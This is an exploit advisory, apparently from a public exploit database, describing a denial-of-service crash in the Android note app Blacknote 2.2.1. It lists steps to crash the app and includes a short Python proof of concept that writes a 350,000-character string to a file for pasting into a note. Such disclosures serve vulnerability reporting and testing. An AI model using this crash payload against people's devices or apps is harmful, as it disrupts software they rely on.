Blacknote version 2.2.1 suffers from a denial of service vulnerability.
2ae6d0126dcf015c804b80eb501e6a0e
# Exploit Title: Blacknote 2.2.1 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notepad.note.notas.notes.notizen&hl=es_MX
# Version: 2.2.1
# Category: DoS (Android)
##### Vulnerability #####
BlackNote Bloc de notas is vulnerable to a DoS condition when a long list of characters is being used when creating a note:
# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed
Successful exploitation will cause the application to stop working.
I have been able to test this exploit against Android 8.0.
##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000
try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")